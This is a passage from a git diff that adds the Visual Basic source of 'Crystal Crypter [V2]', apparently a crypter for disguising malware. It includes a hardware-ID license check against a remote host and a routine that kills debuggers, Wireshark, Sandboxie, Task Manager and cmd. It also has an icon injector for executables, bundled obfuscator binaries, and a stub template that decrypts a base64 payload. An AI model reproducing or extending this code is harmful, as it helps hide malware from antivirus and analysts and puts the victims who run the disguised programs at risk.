Next + Return out.ToString + End Function + Private Shared Function SplitString(ByVal input As String, ByVal partsize As Long) As String() + Dim amount As Long = Math.Ceiling(input.Length / partsize) 'Get Long value of the amount of parts using the formular (Length of Input / Length of Parts) + Dim out(amount - 1) As String 'Declaring the Array to Return using the amount of Parts to define the size + Dim currentpos As Long = 0 ' Declaring the Currentposition in the String + For I As Integer = 0 To amount - 1 ' Looping thought each string in the array + If I = amount - 1 Then ' If i equals the highest number + Dim temp((input.Length - currentpos) - 1) As Char ' Declaring a temporary Array of Chars for storing the current Part of the String + input.CopyTo(currentpos, temp, 0, (input.Length - currentpos)) ' Current part is everything left from the string + out(I) = Convert.ToString(temp) ' Current part is appended to the output string + Else 'I is smaller than amount - 1 (i < amount - 1) + Dim temp(partsize - 1) As Char ' Declaring a temporary Array of Chars for storing the current Part if the String using the Size of a part (partsize) + input.CopyTo(currentpos, temp, 0, partsize) ' Copying the current Part to the temp array + out(I) = Convert.ToString(temp) ' Current part is appended to the output string + currentpos += partsize ' Currentposition is increase to catch the next part in the next "round" of the loop + End If + Next + Return out ' Return the Output String + End Function +End Class \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/Form2.Designer.vb b/scode (Crystal Crypter [V2]/Form2.Designer.vb new file mode 100644 index 0000000..4e06708 --- /dev/null +++ b/scode (Crystal Crypter [V2]/Form2.Designer.vb @@ -0,0 +1,96 @@ + _ +Partial Class Form2 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.Label1 = New System.Windows.Forms.Label() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.Label2 = New System.Windows.Forms.Label() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.Button1 = New System.Windows.Forms.Button() + Me.SuspendLayout() + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Location = New System.Drawing.Point(12, 9) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(58, 13) + Me.Label1.TabIndex = 0 + Me.Label1.Text = "Username:" + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(76, 28) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.RightToLeft = System.Windows.Forms.RightToLeft.Yes + Me.TextBox1.Size = New System.Drawing.Size(196, 20) + Me.TextBox1.TabIndex = 1 + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.Location = New System.Drawing.Point(31, 31) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(40, 13) + Me.Label2.TabIndex = 2 + Me.Label2.Text = "HWID:" + ' + 'TextBox2 + ' + Me.TextBox2.Location = New System.Drawing.Point(76, 6) + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.Size = New System.Drawing.Size(196, 20) + Me.TextBox2.TabIndex = 3 + ' + 'Button1 + ' + Me.Button1.Location = New System.Drawing.Point(76, 54) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(196, 23) + Me.Button1.TabIndex = 4 + Me.Button1.Text = "Authenticate" + Me.Button1.UseVisualStyleBackColor = True + ' + 'Form2 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(284, 93) + Me.Controls.Add(Me.Button1) + Me.Controls.Add(Me.TextBox2) + Me.Controls.Add(Me.Label2) + Me.Controls.Add(Me.TextBox1) + Me.Controls.Add(Me.Label1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow + Me.Name = "Form2" + Me.Text = "HWID Lock" + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents Button1 As System.Windows.Forms.Button +End Class diff --git a/scode (Crystal Crypter [V2]/Form2.resx b/scode (Crystal Crypter [V2]/Form2.resx new file mode 100644 index 0000000..5ea0895 --- /dev/null +++ b/scode (Crystal Crypter [V2]/Form2.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/Form2.vb b/scode (Crystal Crypter [V2]/Form2.vb new file mode 100644 index 0000000..5b79bef --- /dev/null +++ b/scode (Crystal Crypter [V2]/Form2.vb @@ -0,0 +1,236 @@ +Imports System.Net +Imports System.Management +Imports System.Text +Imports System.Security.Cryptography +Public Class Form2 + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + If IsConnectionAvailable() = False Then + MsgBox("Wrong username or server is down") + Exit Sub + End If + Dim username As String + username = TextBox2.Text + Dim cpuInfo As String = String.Empty + Dim mc As New ManagementClass("win32_processor") + Dim moc As ManagementObjectCollection = mc.GetInstances() + + For Each mo As ManagementObject In moc + If cpuInfo = "" Then + cpuInfo = mo.Properties("processorID").Value.ToString() + System.Environment.MachineName + My.Computer.Info.OSFullName + System.Environment.UserName + My.Computer.Info.OSFullName + Exit For + End If + Next + + Dim HWID As String + + HWID = SimpleCrypt(cpuInfo) + Dim wc As New WebClient + Dim strings As String + strings = wc.DownloadString("http://k0isk0.fileave.com/" + username + ".txt") + wc.Dispose() + + If strings.Contains(HWID) Then + Form1.Show() + Me.Close() + Else + MessageBox.Show("Error, HWID Does Not Match!", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Error) + Me.Close() + End If + End Sub + + Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Dim cpuInfo As String = String.Empty + Dim mc As New ManagementClass("win32_processor") + Dim moc As ManagementObjectCollection = mc.GetInstances() + + For Each mo As ManagementObject In moc + If cpuInfo = "" Then + cpuInfo = mo.Properties("processorID").Value.ToString() + System.Environment.MachineName + My.Computer.Info.OSFullName + System.Environment.UserName + My.Computer.Info.OSFullName + Exit For + End If + Next + + Dim HWID As String + + HWID = SimpleCrypt(cpuInfo) + + TextBox1.Text = HWID + End Sub + Public Function SimpleCrypt( _ + ByVal Text As String) As String + ' Encrypts/decrypts the passed string using + ' a simple ASCII value-swapping algorithm + Dim strTempChar As String, i As Integer + For i = 1 To Len(Text) + If Asc(Mid$(Text, i, 1)) < 128 Then + strTempChar = _ + CType(Asc(Mid$(Text, i, 1)) + 128, String) + ElseIf Asc(Mid$(Text, i, 1)) > 128 Then + strTempChar = _ + CType(Asc(Mid$(Text, i, 1)) - 128, String) + End If + Mid$(Text, i, 1) = _ + Chr(CType(strTempChar, Integer)) + Next i + Return Text + End Function + Public Function IsConnectionAvailable() As Boolean + Dim username As String + username = TextBox2.Text + Dim objUrl As New System.Uri("http://k0isk0.fileave.com/" + username + ".txt") + + Dim objWebReq As System.Net.WebRequest + + objWebReq = System.Net.WebRequest.Create(objUrl) + + Dim objresp As System.Net.WebResponse + + + + Try + + objresp = objWebReq.GetResponse + + objresp.Close() + + objresp = Nothing + + Return True + + + + Catch ex As Exception + + objresp = Nothing + + objWebReq = Nothing + + Return False + + End Try + + End Function + Public Shared Sub Secure() + Dim TargetProcess1() As Process = Process.GetProcessesByName("Fiddler") + Dim TargetProcess2() As Process = Process.GetProcessesByName("SimpleAssemblyExplorer") + Dim TargetProcess3() As Process = Process.GetProcessesByName("Reflector") + Dim TargetProcess4() As Process = Process.GetProcessesByName("HxD") + Dim TargetProcess5() As Process = Process.GetProcessesByName("OllyDbg") + Dim TargetProcess6() As Process = Process.GetProcessesByName("TeamViewer") + Dim TargetProcess7() As Process = Process.GetProcessesByName("WireShark") + Dim TargetProcess8() As Process = Process.GetProcessesByName("SbieSvc") + Dim TargetProcess9() As Process = Process.GetProcessesByName("taskmgr") + Dim TargetProcess10() As Process = Process.GetProcessesByName("cmd") + Dim TargetProcess11() As Process = Process.GetProcessesByName("cain") + + Dim ProcessList As System.Diagnostics.Process() + ProcessList = System.Diagnostics.Process.GetProcesses() + Dim Proc As System.Diagnostics.Process + Dim title As String + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "Fiddler")) Then + Proc.Kill() + End If + Next + + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "SimpleAssemblyExplorer")) Then + Proc.Kill() + End If + Next + + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "Red Gate's .NET Reflector")) Then + Proc.Kill() + End If + Next + + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "HxD")) Then + Proc.Kill() + End If + Next + + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "OllyDbg")) Then + Proc.Kill() + End If + Next + + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "TeamViewer")) Then + Proc.Kill() + End If + Next + + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "Wireshark")) Then + Proc.Kill() + End If + Next + + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "Run Sandboxed")) Then + Proc.Kill() + End If + Next + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "Windows Task Manager")) Then + Proc.Kill() + End If + Next + For Each Proc In ProcessList + title = Proc.MainWindowTitle + If (String.Equals(title, "C:\Windows\system32\cmd.exe")) Then + Proc.Kill() + End If + Next + If Not TargetProcess1.Length = 0 Then + TargetProcess1(0).Kill() + End If + + If Not TargetProcess2.Length = 0 Then + TargetProcess2(0).Kill() + End If + + If Not TargetProcess3.Length = 0 Then + TargetProcess3(0).Kill() + End If + + If Not TargetProcess4.Length = 0 Then + TargetProcess4(0).Kill() + End If + + If Not TargetProcess5.Length = 0 Then + TargetProcess5(0).Kill() + End If + + If Not TargetProcess6.Length = 0 Then + TargetProcess6(0).Kill() + End If + + If Not TargetProcess7.Length = 0 Then + TargetProcess7(0).Kill() + End If + + If Not TargetProcess9.Length = 0 Then + TargetProcess9(0).Kill() + End If + If Not TargetProcess10.Length = 0 Then + TargetProcess10(0).Kill() + End If + If Not TargetProcess11.Length = 0 Then + TargetProcess11(0).Kill() + End If + End Sub +End Class \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/IconChanger.vb b/scode (Crystal Crypter [V2]/IconChanger.vb new file mode 100644 index 0000000..b3bd671 --- /dev/null +++ b/scode (Crystal Crypter [V2]/IconChanger.vb @@ -0,0 +1,201 @@ +Imports System.Runtime.InteropServices +Imports System.Security + +Public Class IconInjector + + ' Basically, you can change icons with the UpdateResource api call. + ' When you make the call you say "I'm updating an icon", and you send the icon data. + ' The main problem is that ICO files store the icons in one set of structures, and exe/dll files store them in + ' another set of structures. So you have to translate between the two -- you can't just load the ICO file as + ' bytes and send them with the UpdateResource api call. + + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + + ' The first structure in an ICO file lets us know how many images are in the file. + _ + Private Structure ICONDIR + Public Reserved As UShort ' Reserved, must be 0 + Public Type As UShort ' Resource type, 1 for icons. + Public Count As UShort ' How many images. + ' The native structure has an array of ICONDIRENTRYs as a final field. + End Structure + + ' Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data + ' starts in the file. The other fields give the information required to turn that image data into a valid + ' bitmap. + _ + Private Structure ICONDIRENTRY + Public Width As Byte ' Width, in pixels, of the image + Public Height As Byte ' Height, in pixels, of the image + Public ColorCount As Byte ' Number of colors in image (0 if >=8bpp) + Public Reserved As Byte ' Reserved ( must be 0) + Public Planes As UShort ' Color Planes + Public BitCount As UShort ' Bits per pixel + Public BytesInRes As Integer ' Length in bytes of the pixel data + Public ImageOffset As Integer ' Offset in the file where the pixel data starts. + End Structure + + ' Each image is stored in the file as an ICONIMAGE structure: + 'typdef struct + '{ + ' BITMAPINFOHEADER icHeader; // DIB header + ' RGBQUAD icColors[1]; // Color table + ' BYTE icXOR[1]; // DIB bits for XOR mask + ' BYTE icAND[1]; // DIB bits for AND mask + '} ICONIMAGE, *LPICONIMAGE; + + + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + + ' The icon in an exe/dll file is stored in a very similar structure: + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON = 3UI + Const RT_GROUP_ICON = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + + Private Class IconFile + + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + + Public ReadOnly Property ImageCount As Integer + Get + Return iconDir.Count + End Get + End Property + + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + + Private Sub New() + End Sub + + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + ' Read all the bytes from the file. + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + ' First struct is an ICONDIR + ' Pin the bytes from the file in memory so that we can read them. + ' If we didn't pin them then they could move around (e.g. when the + ' garbage collector compacts the heap) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + ' Read the ICONDIR + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + ' which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data. + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + ' The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR + Dim offset = Marshal.SizeOf(instance.iconDir) + ' After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + ' Grab the structure. + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + ' Grab the associated pixel data. + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + ' This will store the memory version of the icon. + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + + End Class + +End Class diff --git a/scode (Crystal Crypter [V2]/My Project/Application.Designer.vb b/scode (Crystal Crypter [V2]/My Project/Application.Designer.vb new file mode 100644 index 0000000..dd328a1 --- /dev/null +++ b/scode (Crystal Crypter [V2]/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.225 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterAllFormsClose + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.WindowsApplication1.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Crystal Crypter [V2]/My Project/Application.myapp b/scode (Crystal Crypter [V2]/My Project/Application.myapp new file mode 100644 index 0000000..38f0061 --- /dev/null +++ b/scode (Crystal Crypter [V2]/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 1 + true + 0 + true + \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/My Project/AssemblyInfo.vb b/scode (Crystal Crypter [V2]/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..b64425b --- /dev/null +++ b/scode (Crystal Crypter [V2]/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' Allgemeine Informationen über eine Assembly werden über die folgenden +' Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +' die mit einer Assembly verknüpft sind. + +' Die Werte der Assemblyattribute überprüfen + + + + + + + + + + +'Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird + + +' Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +' +' Hauptversion +' Nebenversion +' Buildnummer +' Revision +' +' Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +' übernehmen, indem Sie "*" eingeben: +' + + + diff --git a/scode (Crystal Crypter [V2]/My Project/Resources.Designer.vb b/scode (Crystal Crypter [V2]/My Project/Resources.Designer.vb new file mode 100644 index 0000000..6135ecf --- /dev/null +++ b/scode (Crystal Crypter [V2]/My Project/Resources.Designer.vb @@ -0,0 +1,206 @@ +'------------------------------------------------------------------------------ +' +' Il codice è stato generato da uno strumento. +' Versione runtime:4.0.30319.1 +' +' Le modifiche apportate a questo file possono provocare un comportamento non corretto e andranno perse se +' il codice viene rigenerato. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'Questa classe è stata generata automaticamente dalla classe StronglyTypedResourceBuilder. + 'tramite uno strumento quale ResGen o Visual Studio. + 'Per aggiungere o rimuovere un membro, modificare il file con estensione ResX ed eseguire nuovamente ResGen + 'con l'opzione /str oppure ricompilare il progetto VS. + ''' + ''' Classe di risorse fortemente tipizzata per la ricerca di stringhe localizzate e così via. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Restituisce l'istanza di ResourceManager nella cache utilizzata da questa classe. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Esegue l'override della proprietà CurrentUICulture del thread corrente per tutte le + ''' ricerche di risorse eseguite utilizzando questa classe di risorse fortemente tipizzata. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + Friend ReadOnly Property AG_Configuration_SettingsProviders() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("AG_Configuration_SettingsProviders", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property AG_Deployment_Updating() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("AG_Deployment_Updating", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property AG_Eazfuscator_NET_Installer() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("AG_Eazfuscator_NET_Installer", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property AG_Eazfuscator_NET_Settings() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("AG_Eazfuscator_NET_Settings", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property AG_Eazfuscator_NET_Updating() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("AG_Eazfuscator_NET_Updating", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Castle_Core() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Castle_Core", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Castle_MicroKernel() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Castle_MicroKernel", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Eazfuscator_NET() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Eazfuscator_NET", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property ICSharpCode_SharpZipLib() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("ICSharpCode_SharpZipLib", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Microsoft_Cci_MetadataHelper() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_MetadataHelper", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Microsoft_Cci_MetadataModel() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_MetadataModel", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Microsoft_Cci_MutableMetadataModel() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_MutableMetadataModel", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Microsoft_Cci_PeReader() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_PeReader", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Microsoft_Cci_PeWriter() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_PeWriter", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Microsoft_Cci_SourceModel() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_SourceModel", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property Mono_Cecil() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Mono_Cecil", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Cerca una stringa localizzata simile a + '''using System; + '''using System.Collections; + '''using System.Collections.Generic; + '''using Microsoft.Win32; + '''using System.Diagnostics; + '''using System.Runtime.InteropServices; + '''using System.IO; + '''using System.Text; + '''using System.Windows.Forms; + ''' + '''namespace zazzo + '''{ + '''static class adwadw + '''{ + ''' + ''' public static void Main() + ''' { + ''' + ''' + ''' string %10% = "msgoff"; + ''' byte[] %4% = %01%(Convert.FromBase64String(%3%), "lolil"); + ''' string %64% = Environment.GetEnvironmentVariable("windir") + @"\Microsoft.Net\Framewor [stringa troncata]";. + ''' + Friend ReadOnly Property source() As String + Get + Return ResourceManager.GetString("source", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (Crystal Crypter [V2]/My Project/Resources.resx b/scode (Crystal Crypter [V2]/My Project/Resources.resx new file mode 100644 index 0000000..995716c --- /dev/null +++ b/scode (Crystal Crypter [V2]/My Project/Resources.resx @@ -0,0 +1,172 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\AG.Configuration.SettingsProviders.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\AG.Deployment.Updating.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\AG.Eazfuscator.NET.Installer.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\AG.Eazfuscator.NET.Settings.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\AG.Eazfuscator.NET.Updating.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Castle.Core.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Castle.MicroKernel.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Eazfuscator.NET.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\ICSharpCode.SharpZipLib.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Microsoft.Cci.MetadataHelper.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Microsoft.Cci.MetadataModel.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Microsoft.Cci.MutableMetadataModel.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Microsoft.Cci.PeReader.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Microsoft.Cci.PeWriter.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Microsoft.Cci.SourceModel.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Mono.Cecil.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\source.txt;System.String, mscorlib, 